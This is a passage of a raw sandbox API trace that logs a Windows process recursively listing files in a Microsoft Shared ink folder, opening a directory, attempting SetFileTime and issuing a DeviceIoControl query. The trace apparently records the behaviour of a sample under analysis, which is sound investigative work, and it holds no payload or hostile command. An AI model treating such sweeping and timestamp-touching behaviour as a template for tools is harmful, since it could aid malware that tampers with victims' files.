0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e710 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991f50 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0x992ba0 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e730 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992058 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e750 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992160 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e770 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992268 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e790 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992370 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e7b0 [0143.281] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992478 [0143.281] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.281] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e7d0 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992580 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e7f0 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992688 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.282] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e810 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992790 [0143.283] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.283] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.283] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e830 [0143.283] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992898 [0143.283] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0143.283] GetLastError () returned 0x12 [0143.283] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.283] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0143.283] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0143.284] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0143.284] GetLastError () returned 0x12 [0143.284] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.284] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.284] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.284] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0143.285] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.286] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.286] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x992ee8 [0143.286] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x992ee8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x992ee8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.286] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ee8) returned 1 [0143.286] NtClose (Handle=0x1a4) returned 0x0 [0143.286] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.286] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.286] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.286] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.286] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.286] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, 